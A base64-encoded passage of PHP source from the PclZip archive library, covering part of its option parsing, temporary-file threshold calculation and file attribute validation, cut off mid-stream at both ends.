ICAgICAgICB9CgogICAgICAgICAgLy8gLS0tLS0gR2V0IHRoZSB2YWx1ZQogICAgICAgICAgJHZfd29ya19saXN0ID0gYXJyYXkoKTsKICAgICAgICAgIGlmIChpc19zdHJpbmcoJHBfb3B0aW9uc19saXN0WyRpKzFdKSkgewoKICAgICAgICAgICAgICAvLyAtLS0tLSBSZW1vdmUgc3BhY2VzCiAgICAgICAgICAgICAgJHBfb3B0aW9uc19saXN0WyRpKzFdID0gc3RydHIoJHBfb3B0aW9uc19saXN0WyRpKzFdLCAnICcsICcnKTsKCiAgICAgICAgICAgICAgLy8gLS0tLS0gUGFyc2UgaXRlbXMKICAgICAgICAgICAgICAkdl93b3JrX2xpc3QgPSBleHBsb2RlKCIsIiwgJHBfb3B0aW9uc19saXN0WyRpKzFdKTsKICAgICAgICAgIH0KICAgICAgICAgIGVsc2UgaWYgKGlzX2ludGVnZXIoJHBfb3B0aW9uc19saXN0WyRpKzFdKSkgewogICAgICAgICAgICAgICR2X3dvcmtfbGlzdFswXSA9ICRwX29wdGlvbnNfbGlzdFskaSsxXS4nLScuJHBfb3B0aW9uc19saXN0WyRpKzFdOwogICAgICAgICAgfQogICAgICAgICAgZWxzZSBpZiAoaXNfYXJyYXkoJHBfb3B0aW9uc19saXN0WyRpKzFdKSkgewogICAgICAgICAgICAgICR2X3dvcmtfbGlzdCA9ICRwX29wdGlvbnNfbGlzdFskaSsxXTsKICAgICAgICAgIH0KICAgICAgICAgIGVsc2UgewogICAgICAgICAgICAvLyAtLS0tLSBFcnJvciBsb2cKICAgICAgICAgICAgUGNsWmlwOjpwcml2RXJyb3JMb2coUENMWklQX0VSUl9JTlZBTElEX09QVElPTl9WQUxVRSwgIlZhbHVlIG11c3QgYmUgaW50ZWdlciwgc3RyaW5nIG9yIGFycmF5IGZvciBvcHRpb24gJyIuUGNsWmlwVXRpbE9wdGlvblRleHQoJHBfb3B0aW9uc19saXN0WyRpXSkuIiciKTsKCiAgICAgICAgICAgIC8vIC0tLS0tIFJldHVybgogICAgICAgICAgICByZXR1cm4gUGNsWmlwOjplcnJvckNvZGUoKTsKICAgICAgICAgIH0KCiAgICAgICAgICAvLyAtLS0tLSBSZWR1Y2UgdGhlIGluZGV4IGxpc3QKICAgICAgICAgIC8vIGVhY2ggaW5kZXggaXRlbSBpbiB0aGUgbGlzdCBtdXN0IGJlIGEgY291cGxlIHdpdGggYSBzdGFydCBhbmQKICAgICAgICAgIC8vIGFuIGVuZCB2YWx1ZSA6IFswLDNdLCBbNS01XSwgWzgtMTBdLCAuLi4KICAgICAgICAgIC8vIC0tLS0tIENoZWNrIHRoZSBmb3JtYXQgb2YgZWFjaCBpdGVtCiAgICAgICAgICAkdl9zb3J0X2ZsYWc9ZmFsc2U7CiAgICAgICAgICAkdl9zb3J0X3ZhbHVlPTA7CiAgICAgICAgICBmb3IgKCRqPTA7ICRqPHNpemVvZigkdl93b3JrX2xpc3QpOyAkaisrKSB7CiAgICAgICAgICAgICAgLy8gLS0tLS0gRXhwbG9kZSB0aGUgaXRlbQogICAgICAgICAgICAgICR2X2l0ZW1fbGlzdCA9IGV4cGxvZGUoIi0iLCAkdl93b3JrX2xpc3RbJGpdKTsKICAgICAgICAgICAgICAkdl9zaXplX2l0ZW1fbGlzdCA9IHNpemVvZigkdl9pdGVtX2xpc3QpOwoKICAgICAgICAgICAgICAvLyAtLS0tLSBUQkMgOiBIZXJlIHdlIG1pZ2h0IGNoZWNrIHRoYXQgZWFjaCBpdGVtIGlzIGEKICAgICAgICAgICAgICAvLyByZWFsIGludGVnZXIgLi4uCgogICAgICAgICAgICAgIC8vIC0tLS0tIExvb2sgZm9yIHNpbmdsZSB2YWx1ZQogICAgICAgICAgICAgIGlmICgkdl9zaXplX2l0ZW1fbGlzdCA9PSAxKSB7CiAgICAgICAgICAgICAgICAgIC8vIC0tLS0tIFNldCB0aGUgb3B0aW9uIHZhbHVlCiAgICAgICAgICAgICAgICAgICR2X3Jlc3VsdF9saXN0WyRwX29wdGlvbnNfbGlzdFskaV1dWyRqXVsnc3RhcnQnXSA9ICR2X2l0ZW1fbGlzdFswXTsKICAgICAgICAgICAgICAgICAgJHZfcmVzdWx0X2xpc3RbJHBfb3B0aW9uc19saXN0WyRpXV1bJGpdWydlbmQnXSA9ICR2X2l0ZW1fbGlzdFswXTsKICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgZWxzZWlmICgkdl9zaXplX2l0ZW1fbGlzdCA9PSAyKSB7CiAgICAgICAgICAgICAgICAgIC8vIC0tLS0tIFNldCB0aGUgb3B0aW9uIHZhbHVlCiAgICAgICAgICAgICAgICAgICR2X3Jlc3VsdF9saXN0WyRwX29wdGlvbnNfbGlzdFskaV1dWyRqXVsnc3RhcnQnXSA9ICR2X2l0ZW1fbGlzdFswXTsKICAgICAgICAgICAgICAgICAgJHZfcmVzdWx0X2xpc3RbJHBfb3B0aW9uc19saXN0WyRpXV1bJGpdWydlbmQnXSA9ICR2X2l0ZW1fbGlzdFsxXTsKICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICAgICAgIC8vIC0tLS0tIEVycm9yIGxvZwogICAgICAgICAgICAgICAgICBQY2xaaXA6OnByaXZFcnJvckxvZyhQQ0xaSVBfRVJSX0lOVkFMSURfT1BUSU9OX1ZBTFVFLCAiVG9vIG1hbnkgdmFsdWVzIGluIGluZGV4IHJhbmdlIGZvciBvcHRpb24gJyIuUGNsWmlwVXRpbE9wdGlvblRleHQoJHBfb3B0aW9uc19saXN0WyRpXSkuIiciKTsKCiAgICAgICAgICAgICAgICAgIC8vIC0tLS0tIFJldHVybgogICAgICAgICAgICAgICAgICByZXR1cm4gUGNsWmlwOjplcnJvckNvZGUoKTsKICAgICAgICAgICAgICB9CgoKICAgICAgICAgICAgICAvLyAtLS0tLSBMb29rIGZvciBsaXN0IHNvcnQKICAgICAgICAgICAgICBpZiAoJHZfcmVzdWx0X2xpc3RbJHBfb3B0aW9uc19saXN0WyRpXV1bJGpdWydzdGFydCddIDwgJHZfc29ydF92YWx1ZSkgewogICAgICAgICAgICAgICAgICAkdl9zb3J0X2ZsYWc9dHJ1ZTsKCiAgICAgICAgICAgICAgICAgIC8vIC0tLS0tIFRCQyA6IEFuIGF1dG9tYXRpYyBzb3J0IHNob3VsZCBiZSB3cml0ZW4gLi4uCiAgICAgICAgICAgICAgICAgIC8vIC0tLS0tIEVycm9yIGxvZwogICAgICAgICAgICAgICAgICBQY2xaaXA6OnByaXZFcnJvckxvZyhQQ0xaSVBfRVJSX0lOVkFMSURfT1BUSU9OX1ZBTFVFLCAiSW52YWxpZCBvcmRlciBvZiBpbmRleCByYW5nZSBmb3Igb3B0aW9uICciLlBjbFppcFV0aWxPcHRpb25UZXh0KCRwX29wdGlvbnNfbGlzdFskaV0pLiInIik7CgogICAgICAgICAgICAgICAgICAvLyAtLS0tLSBSZXR1cm4KICAgICAgICAgICAgICAgICAgcmV0dXJuIFBjbFppcDo6ZXJyb3JDb2RlKCk7CiAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICR2X3NvcnRfdmFsdWUgPSAkdl9yZXN1bHRfbGlzdFskcF9vcHRpb25zX2xpc3RbJGldXVskal1bJ3N0YXJ0J107CiAgICAgICAgICB9CgogICAgICAgICAgLy8gLS0tLS0gU29ydCB0aGUgaXRlbXMKICAgICAgICAgIGlmICgkdl9zb3J0X2ZsYWcpIHsKICAgICAgICAgICAgICAvLyBUQkMgOiBUbyBCZSBDb21wbGV0ZWQKICAgICAgICAgIH0KCiAgICAgICAgICAvLyAtLS0tLSBOZXh0IG9wdGlvbgogICAgICAgICAgJGkrKzsKICAgICAgICBicmVhazsKCiAgICAgICAgLy8gLS0tLS0gTG9vayBmb3Igb3B0aW9ucyB0aGF0IHJlcXVlc3Qgbm8gdmFsdWUKICAgICAgICBjYXNlIFBDTFpJUF9PUFRfUkVNT1ZFX0FMTF9QQVRIIDoKICAgICAgICBjYXNlIFBDTFpJUF9PUFRfRVhUUkFDVF9BU19TVFJJTkcgOgogICAgICAgIGNhc2UgUENMWklQX09QVF9OT19DT01QUkVTU0lPTiA6CiAgICAgICAgY2FzZSBQQ0xaSVBfT1BUX0VYVFJBQ1RfSU5fT1VUUFVUIDoKICAgICAgICBjYXNlIFBDTFpJUF9PUFRfUkVQTEFDRV9ORVdFUiA6CiAgICAgICAgY2FzZSBQQ0xaSVBfT1BUX1NUT1BfT05fRVJST1IgOgogICAgICAgICAgJHZfcmVzdWx0X2xpc3RbJHBfb3B0aW9uc19saXN0WyRpXV0gPSB0cnVlOwogICAgICAgIGJyZWFrOwoKICAgICAgICAvLyAtLS0tLSBMb29rIGZvciBvcHRpb25zIHRoYXQgcmVxdWVzdCBhbiBvY3RhbCB2YWx1ZQogICAgICAgIGNhc2UgUENMWklQX09QVF9TRVRfQ0hNT0QgOgogICAgICAgICAgLy8gLS0tLS0gQ2hlY2sgdGhlIG51bWJlciBvZiBwYXJhbWV0ZXJzCiAgICAgICAgICBpZiAoKCRpKzEpID49ICRwX3NpemUpIHsKICAgICAgICAgICAgLy8gLS0tLS0gRXJyb3IgbG9nCiAgICAgICAgICAgIFBjbFppcDo6cHJpdkVycm9yTG9nKFBDTFpJUF9FUlJfTUlTU0lOR19PUFRJT05fVkFMVUUsICJNaXNzaW5nIHBhcmFtZXRlciB2YWx1ZSBmb3Igb3B0aW9uICciLlBjbFppcFV0aWxPcHRpb25UZXh0KCRwX29wdGlvbnNfbGlzdFskaV0pLiInIik7CgogICAgICAgICAgICAvLyAtLS0tLSBSZXR1cm4KICAgICAgICAgICAgcmV0dXJuIFBjbFppcDo6ZXJyb3JDb2RlKCk7CiAgICAgICAgICB9CgogICAgICAgICAgLy8gLS0tLS0gR2V0IHRoZSB2YWx1ZQogICAgICAgICAgJHZfcmVzdWx0X2xpc3RbJHBfb3B0aW9uc19saXN0WyRpXV0gPSAkcF9vcHRpb25zX2xpc3RbJGkrMV07CiAgICAgICAgICAkaSsrOwogICAgICAgIGJyZWFrOwoKICAgICAgICAvLyAtLS0tLSBMb29rIGZvciBvcHRpb25zIHRoYXQgcmVxdWVzdCBhIGNhbGwtYmFjawogICAgICAgIGNhc2UgUENMWklQX0NCX1BSRV9FWFRSQUNUIDoKICAgICAgICBjYXNlIFBDTFpJUF9DQl9QT1NUX0VYVFJBQ1QgOgogICAgICAgIGNhc2UgUENMWklQX0NCX1BSRV9BREQgOgogICAgICAgIGNhc2UgUENMWklQX0NCX1BPU1RfQUREIDoKICAgICAgICAvKiBmb3IgZnV0dXIgdXNlCiAgICAgICAgY2FzZSBQQ0xaSVBfQ0JfUFJFX0RFTEVURSA6CiAgICAgICAgY2FzZSBQQ0xaSVBfQ0JfUE9TVF9ERUxFVEUgOgogICAgICAgIGNhc2UgUENMWklQX0NCX1BSRV9MSVNUIDoKICAgICAgICBjYXNlIFBDTFpJUF9DQl9QT1NUX0xJU1QgOgogICAgICAgICovCiAgICAgICAgICAvLyAtLS0tLSBDaGVjayB0aGUgbnVtYmVyIG9mIHBhcmFtZXRlcnMKICAgICAgICAgIGlmICgoJGkrMSkgPj0gJHBfc2l6ZSkgewogICAgICAgICAgICAvLyAtLS0tLSBFcnJvciBsb2cKICAgICAgICAgICAgUGNsWmlwOjpwcml2RXJyb3JMb2coUENMWklQX0VSUl9NSVNTSU5HX09QVElPTl9WQUxVRSwgIk1pc3NpbmcgcGFyYW1ldGVyIHZhbHVlIGZvciBvcHRpb24gJyIuUGNsWmlwVXRpbE9wdGlvblRleHQoJHBfb3B0aW9uc19saXN0WyRpXSkuIiciKTsKCiAgICAgICAgICAgIC8vIC0tLS0tIFJldHVybgogICAgICAgICAgICByZXR1cm4gUGNsWmlwOjplcnJvckNvZGUoKTsKICAgICAgICAgIH0KCiAgICAgICAgICAvLyAtLS0tLSBHZXQgdGhlIHZhbHVlCiAgICAgICAgICAkdl9mdW5jdGlvbl9uYW1lID0gJHBfb3B0aW9uc19saXN0WyRpKzFdOwoKICAgICAgICAgIC8vIC0tLS0tIENoZWNrIHRoYXQgdGhlIHZhbHVlIGlzIGEgdmFsaWQgZXhpc3RpbmcgZnVuY3Rpb24KICAgICAgICAgIGlmICghZnVuY3Rpb25fZXhpc3RzKCR2X2Z1bmN0aW9uX25hbWUpKSB7CiAgICAgICAgICAgIC8vIC0tLS0tIEVycm9yIGxvZwogICAgICAgICAgICBQY2xaaXA6OnByaXZFcnJvckxvZyhQQ0xaSVBfRVJSX0lOVkFMSURfT1BUSU9OX1ZBTFVFLCAiRnVuY3Rpb24gJyIuJHZfZnVuY3Rpb25fbmFtZS4iKCknIGlzIG5vdCBhbiBleGlzdGluZyBmdW5jdGlvbiBmb3Igb3B0aW9uICciLlBjbFppcFV0aWxPcHRpb25UZXh0KCRwX29wdGlvbnNfbGlzdFskaV0pLiInIik7CgogICAgICAgICAgICAvLyAtLS0tLSBSZXR1cm4KICAgICAgICAgICAgcmV0dXJuIFBjbFppcDo6ZXJyb3JDb2RlKCk7CiAgICAgICAgICB9CgogICAgICAgICAgLy8gLS0tLS0gU2V0IHRoZSBhdHRyaWJ1dGUKICAgICAgICAgICR2X3Jlc3VsdF9saXN0WyRwX29wdGlvbnNfbGlzdFskaV1dID0gJHZfZnVuY3Rpb25fbmFtZTsKICAgICAgICAgICRpKys7CiAgICAgICAgYnJlYWs7CgogICAgICAgIGRlZmF1bHQgOgogICAgICAgICAgLy8gLS0tLS0gRXJyb3IgbG9nCiAgICAgICAgICBQY2xaaXA6OnByaXZFcnJvckxvZyhQQ0xaSVBfRVJSX0lOVkFMSURfUEFSQU1FVEVSLAoJCSAgICAgICAgICAgICAgICAgICAgICAgIlVua25vd24gcGFyYW1ldGVyICciCgkJCQkJCQkgICAuJHBfb3B0aW9uc19saXN0WyRpXS4iJyIpOwoKICAgICAgICAgIC8vIC0tLS0tIFJldHVybgogICAgICAgICAgcmV0dXJuIFBjbFppcDo6ZXJyb3JDb2RlKCk7CiAgICAgIH0KCiAgICAgIC8vIC0tLS0tIE5leHQgb3B0aW9ucwogICAgICAkaSsrOwogICAgfQoKICAgIC8vIC0tLS0tIExvb2sgZm9yIG1hbmRhdG9yeSBvcHRpb25zCiAgICBpZiAoJHZfcmVxdWVzdGVkX29wdGlvbnMgIT09IGZhbHNlKSB7CiAgICAgIGZvciAoJGtleT1yZXNldCgkdl9yZXF1ZXN0ZWRfb3B0aW9ucyk7ICRrZXk9a2V5KCR2X3JlcXVlc3RlZF9vcHRpb25zKTsgJGtleT1uZXh0KCR2X3JlcXVlc3RlZF9vcHRpb25zKSkgewogICAgICAgIC8vIC0tLS0tIExvb2sgZm9yIG1hbmRhdG9yeSBvcHRpb24KICAgICAgICBpZiAoJHZfcmVxdWVzdGVkX29wdGlvbnNbJGtleV0gPT0gJ21hbmRhdG9yeScpIHsKICAgICAgICAgIC8vIC0tLS0tIExvb2sgaWYgcHJlc2VudAogICAgICAgICAgaWYgKCFpc3NldCgkdl9yZXN1bHRfbGlzdFska2V5XSkpIHsKICAgICAgICAgICAgLy8gLS0tLS0gRXJyb3IgbG9nCiAgICAgICAgICAgIFBjbFppcDo6cHJpdkVycm9yTG9nKFBDTFpJUF9FUlJfSU5WQUxJRF9QQVJBTUVURVIsICJNaXNzaW5nIG1hbmRhdG9yeSBwYXJhbWV0ZXIgIi5QY2xaaXBVdGlsT3B0aW9uVGV4dCgka2V5KS4iKCIuJGtleS4iKSIpOwoKICAgICAgICAgICAgLy8gLS0tLS0gUmV0dXJuCiAgICAgICAgICAgIHJldHVybiBQY2xaaXA6OmVycm9yQ29kZSgpOwogICAgICAgICAgfQogICAgICAgIH0KICAgICAgfQogICAgfQoKICAgIC8vIC0tLS0tIExvb2sgZm9yIGRlZmF1bHQgdmFsdWVzCiAgICBpZiAoIWlzc2V0KCR2X3Jlc3VsdF9saXN0W1BDTFpJUF9PUFRfVEVNUF9GSUxFX1RIUkVTSE9MRF0pKSB7CgogICAgfQoKICAgIC8vIC0tLS0tIFJldHVybgogICAgcmV0dXJuICR2X3Jlc3VsdDsKICB9CiAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCiAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICAvLyBGdW5jdGlvbiA6IHByaXZPcHRpb25EZWZhdWx0VGhyZXNob2xkKCkKICAvLyBEZXNjcmlwdGlvbiA6CiAgLy8gUGFyYW1ldGVycyA6CiAgLy8gUmV0dXJuIFZhbHVlcyA6CiAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICBmdW5jdGlvbiBwcml2T3B0aW9uRGVmYXVsdFRocmVzaG9sZCgmJHBfb3B0aW9ucykKICB7CiAgICAkdl9yZXN1bHQ9MTsKCiAgICBpZiAoaXNzZXQoJHBfb3B0aW9uc1tQQ0xaSVBfT1BUX1RFTVBfRklMRV9USFJFU0hPTERdKQogICAgICAgIHx8IGlzc2V0KCRwX29wdGlvbnNbUENMWklQX09QVF9URU1QX0ZJTEVfT0ZGXSkpIHsKICAgICAgcmV0dXJuICR2X3Jlc3VsdDsKICAgIH0KCiAgICAvLyAtLS0tLSBHZXQgJ21lbW9yeV9saW1pdCcgY29uZmlndXJhdGlvbiB2YWx1ZQogICAgJHZfbWVtb3J5X2xpbWl0ID0gaW5pX2dldCgnbWVtb3J5X2xpbWl0Jyk7CiAgICAkdl9tZW1vcnlfbGltaXQgPSB0cmltKCR2X21lbW9yeV9saW1pdCk7CiAgICAkbGFzdCA9IHN0cnRvbG93ZXIoc3Vic3RyKCR2X21lbW9yeV9saW1pdCwgLTEpKTsKCiAgICBpZigkbGFzdCA9PSAnZycpCiAgICAgICAgLy8kdl9tZW1vcnlfbGltaXQgPSAkdl9tZW1vcnlfbGltaXQqMTAyNCoxMDI0KjEwMjQ7CiAgICAgICAgJHZfbWVtb3J5X2xpbWl0ID0gJHZfbWVtb3J5X2xpbWl0KjEwNzM3NDE4MjQ7CiAgICBpZigkbGFzdCA9PSAnbScpCiAgICAgICAgLy8kdl9tZW1vcnlfbGltaXQgPSAkdl9tZW1vcnlfbGltaXQqMTAyNCoxMDI0OwogICAgICAgICR2X21lbW9yeV9saW1pdCA9ICR2X21lbW9yeV9saW1pdCoxMDQ4NTc2OwogICAgaWYoJGxhc3QgPT0gJ2snKQogICAgICAgICR2X21lbW9yeV9saW1pdCA9ICR2X21lbW9yeV9saW1pdCoxMDI0OwoKICAgICRwX29wdGlvbnNbUENMWklQX09QVF9URU1QX0ZJTEVfVEhSRVNIT0xEXSA9IGZsb29yKCR2X21lbW9yeV9saW1pdCpQQ0xaSVBfVEVNUE9SQVJZX0ZJTEVfUkFUSU8pOwoKCiAgICAvLyAtLS0tLSBTYW5pdHkgY2hlY2sgOiBObyB0aHJlc2hvbGQgaWYgdmFsdWUgbG93ZXIgdGhhbiAxTQogICAgaWYgKCRwX29wdGlvbnNbUENMWklQX09QVF9URU1QX0ZJTEVfVEhSRVNIT0xEXSA8IDEwNDg1NzYpIHsKICAgICAgdW5zZXQoJHBfb3B0aW9uc1tQQ0xaSVBfT1BUX1RFTVBfRklMRV9USFJFU0hPTERdKTsKICAgIH0KCiAgICAvLyAtLS0tLSBSZXR1cm4KICAgIHJldHVybiAkdl9yZXN1bHQ7CiAgfQogIC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgogIC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiAgLy8gRnVuY3Rpb24gOiBwcml2RmlsZURlc2NyUGFyc2VBdHQoKQogIC8vIERlc2NyaXB0aW9uIDoKICAvLyBQYXJhbWV0ZXJzIDoKICAvLyBSZXR1cm4gVmFsdWVzIDoKICAvLyAgIDEgb24gc3VjY2Vzcy4KICAvLyAgIDAgb24gZmFpbHVyZS4KICAvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogIGZ1bmN0aW9uIHByaXZGaWxlRGVzY3JQYXJzZUF0dCgmJHBfZmlsZV9saXN0LCAmJHBfZmlsZWRlc2NyLCAkdl9vcHRpb25zLCAkdl9yZXF1ZXN0ZWRfb3B0aW9ucz1mYWxzZSkKICB7CiAgICAkdl9yZXN1bHQ9MTsKCiAgICAvLyAtLS0tLSBGb3IgZWFjaCBmaWxlIGluIHRoZSBsaXN0IGNoZWNrIHRoZSBhdHRyaWJ1dGVzCiAgICBmb3JlYWNoICgkcF9maWxlX2xpc3QgYXMgJHZfa2V5ID0+ICR2X3ZhbHVlKSB7CgogICAgICAvLyAtLS0tLSBDaGVjayBpZiB0aGUgb3B0aW9uIGlzIHN1cHBvcnRlZAogICAgICBpZiAoIWlzc2V0KCR2X3JlcXVlc3RlZF9vcHRpb25zWyR2X2tleV0pKSB7CiAgICAgICAgLy8gLS0tLS0gRXJyb3IgbG9nCiAgICAgICAgUGNsWmlwOjpwcml2RXJyb3JMb2coUENMWklQX0VSUl9JTlZBTElEX1BBUkFNRVRFUiwgIkludmFsaWQgZmlsZSBhdHRyaWJ1dGUgJyIuJHZfa2V5LiInIGZvciB0aGlzIGZpbGUiKTsKCiAgICAgICAgLy8gLS0tLS0gUmV0dXJuCiAgICAgICAgcmV0dXJuIFBjbFppcDo6ZXJyb3JDb2RlKCk7CiAgICAgIH0KCiAgICAgIC8vIC0tLS0tIExvb2sgZm9yIGF0dHJpYnV0ZQogICAgICBzd2l0Y2ggKCR2X2tleSkgewogICAgICAgIGNhc2UgUENMWklQX0FUVF9GSUxFX05BTUUgOgogICAgICAgICAgaWYgKCFpc19zdHJpbmcoJHZfdmFsdWUpKSB7CiAgICAgICAgICAgIFBjbFppcDo6cHJpdkVycm9yTG9nKFBDTFpJUF9FUlJfSU5WQUxJRF9BVFRSSUJVVEVfVkFMVUUsICJJbnZhbGlkIHR5cGUgIi5nZXR0eXBlKCR2X3ZhbHVlKS4iLiBTdHJpbmcgZXhwZWN0ZWQgZm9yIGF0dHJpYnV0ZSAnIi5QY2xaaXBVdGlsT3B0aW9uVGV4dCgkdl9rZXkpLiInIik7CiAgICAgICAgICAgIHJldHVybiBQY2xaaXA6OmVycm9yQ29kZSgpOwogICAgICAgICAgfQoKICAgICAgICAgICRwX2ZpbGVkZXNjclsnZmlsZW5hbWUnXSA9IFBjbFppcFV0aWxQYXRoUmVkdWN0aW9uKCR2X3ZhbHVlKTsKCiAgICAgICAgICBpZiAoJHBfZmlsZWRlc2NyWydmaWxlbmFtZSddID09ICcnKSB7CiAgICAgICAgICAgIFBjbFppcDo6cHJpdkVycm9yTG9nKFBDTFpJUF9FUlJfSU5WQUxJRF9BVFRSSUJVVEVfVkFMVUUsICJJbnZhbGlkIGVtcHR5IGZpbGVuYW1lIGZvciBhdHRyaWJ1dGUgJyIuUGNsWmlwVXRpbE9wdGlvblRleHQoJHZfa2V5KS4iJyIpOwogICAgICAgICAgICByZXR1cm4gUGNsWmlwOjplcnJvckNvZGUoKTsKICAgICAgICAgIH0KCiAgICAgICAgYnJlYWs7CgogICAgICAgIGNhc2UgUENMWklQX0FUVF9GSUxFX05FV19TSE9SVF9OQU1FIDoKICAgICAgICAgIGlmICghaXNfc3RyaW5nKCR2X3ZhbHVlKSkgewogICAgICAgICAgICBQY2xaaXA6OnByaXZFcnJvckxvZyhQQ0xaSVBfRVJSX0lOVkFMSURfQVRUUklCVVRFX1ZBTFVFLCAiSW52YWxpZCB0eXBlICIuZ2V0dHlwZSgkdl92YWx1ZSkuIi4gU3RyaW5nIGV4cGVjdGVkIGZvciBhdHRyaWJ1dGUgJyIuUGNsWmlwVXRpbE9wdGlvblRleHQoJHZfa2V5KS4iJyIpOwogICAgICAgICAgICByZXR1cm4gUGNsWmlwOjplcnJvckNvZGUoKTsKICAgICAgICAgIH0KCiAgICAgICAgICAkcF9maWxlZGVzY3JbJ25ld19zaG9ydF9uYW1lJ10gPSBQY2xaaXBVdGlsUGF0aFJlZHVjdGlvbigkdl92YWx1ZSk7CgogICAgICAgICAgaWYgKCRwX2ZpbGVkZXNjclsnbmV3X3Nob3J0X25hbWUnXSA9PSAnJykgewogICAgICAgICAgICBQY2xaaXA6OnByaXZFcnJvckxvZyhQQ0xaSVBfRVJSX0lOVkFMSURfQVRUUklCVVRFX1ZBTFVFLCAiSW52YWxpZCBlbXB0eSBzaG9ydCBmaWxlbmFtZSBmb3IgYXR0cmlidXRlICciLlBjbFppcFV0aWxPcHRpb25UZXh0KCR2X2tleSkuIiciKTsKICAgICAgICAgICAgcmV0dXJuIFBjbFppcDo6ZXJyb3JDb2RlKCk7CiAgICAgICAgICB9CiAgICAgICAgYnJlYWs7CgogICAgICAgIGNhc2UgUENMWklQX0FUVF9GSUxFX05FV19GVUxMX05BTUUgOgogICAgICAgICAgaWYgKCFpc19zdHJpbmcoJHZfdmFsdWUpKSB7CiAgICAgICAgICAgIFBjbFppcDo6cHJpdkVycm9yTG9nKFBDTFpJUF9FUlJfSU5WQUxJRF9BVFRSSUJVVEVfVkFMVUUsICJJbnZhbGlkIHR5cGUgIi5nZXR0eXBlKCR2X3ZhbHVlKS4iLiBTdHJpbmcgZXhwZWN0ZWQgZm9yIGF0dHJpYnV0ZSAnIi5QY2xaaXBVdGlsT3B0aW9uVGV4dCgkdl9rZXkpLiInIik7CiAgICAgICAgICAgIHJldHVybiBQY2xaaXA6OmVycm9yQ29kZSgpOwogICAgICAgICAgfQoKICAgICAgICAgICRwX2ZpbGVkZXNjclsnbmV3X2Z1bGxfbmFtZSddID0gUGNsWmlwVXRpbFBhdGhSZWR1Y3Rpb24oJHZfdmFsdWUpOwoKICAgICAgICAgIGlmICgkcF9maWxlZGVzY3JbJ25ld19mdWxsX25hbWUnXSA9PSAnJykgewogICAgICAgICAgICBQY2xaaXA6OnByaXZFcnJvckxvZyhQQ0xaSVBfRVJSX0lOVkFMSURfQVRUUklCVVRFX1ZBTFVFLCAiSW52YWxpZCBlbXB0eSBmdWxsIGZpbGVuYW1lIGZvciBhdHRyaWJ1dGUgJyIuUGNsWmlwVXRpbE9wdGlvblRleHQoJHZfa2V5KS4iJyIpOwogICAgICAgICAgICByZXR1cm4gUGNsWmlwOjplcnJvckNvZGUoKTsKICAgICAgICAgIH0KICAgICAgICBicmVhazsKCiAgICAgICAgLy8gLS0tLS0gTG9vayBmb3Igb3B0aW9ucyB0aGF0IHRha2VzIGEgc3RyaW5nCiAgICAgICAgY2FzZSBQQ0xaSVBfQVRUX0ZJTEVfQ09NTUVOVCA6CiAgICAgICAgICBpZiAoIWlzX3N0cmluZygkdl92YWx1ZSkpIHsKICAgICAgICAgICAgUGNsWmlwOjpwcml2RXJyb3JMb2coUENMWklQX0VSUl9JTlZBTElEX0FUVFJJQlVURV9WQUxVRSwgIkludmFsaWQgdHlwZSAiLmdldHR5cGUoJHZfdmFsdWUpLiIuIFN0cmluZyBleHBlY3RlZCBmb3IgYXR0cmlidXRlICciLlBjbFppcFV0aWxPcHRpb25UZXh0KCR2X2tleSkuIiciKTsKICAgICAgICAgICAgcmV0dXJuIFBjbFppcDo6ZXJyb3JDb2RlKCk7CiAgICAgICAgICB9CgogICAgICAgICAgJHBfZmlsZWRlc2NyWydjb21tZW50J10gPSAkdl92YWx1ZTsKICAgICAgICBicmVhazsKCiAgICAgICAgY2FzZSBQQ0xaSVBfQVRUX0ZJTEVfTVRJTUUgOgogICAgICAgICAgaWYgKCFpc19pbnRlZ2VyKCR2X3ZhbHVlKSkgewogICAgICAgICAgICBQY2xaaXA6OnByaXZFcnJvckxvZyhQQ0xaSVBfRVJSX0lOVkFMSURfQVRUUklCVVRFX1ZBTFVFLCAiSW52YWxpZCB0eXBlICIuZ2V0dHlwZSgkdl92YWx1ZSkuIi4gSW50ZWdlciBleHBlY3RlZCBmb3IgYXR0cmlidXRlICciLlBjbFppcFV0aWxPcHRpb25UZXh0KCR2X2tleSkuIiciKTsKICAgICAgICAgICAgcmV0dXJuIFBjbFppcDo6ZXJyb3JDb2RlKCk7CiAgICAgICAgICB9CgogICAgICAgICAgJHBfZmlsZWRlc2NyWydtdGltZSddID0gJHZfdmFsdWU7CiAgICAgICAgYnJlYWs7CgogICAgICAgIGNhc2UgUENMWklQX0FUVF9GSUxFX0NPTlRFTlQgOgogICAgICAgICAgJHBfZmlsZWRlc2NyWydjb250ZW50J10gPSAkdl92YWx1ZTsKICAgICAgICBicmVhazsKCiAgICAgICAgZGVmYXVsdCA6CiAgICAgICAgICAvLyAtLS0tLSBFcnJvciBsb2cKICAgICAgICAgIFBjbFppcDo6cHJpdkVycm9yTG9nKFBDTFpJUF9FUlJfSU5WQUxJRF9QQVJBTUVURVIsCgkJICAgICAgICAgICAgICAgICAgICAgICAgICAgIlVua25vd24gcGFyYW1ldGVyICciLiR2X2tleS4iJyIpOwoKICAgICAgICAgIC8vIC0tLS0tIFJldHVybgogICAgICAgICAgcmV0d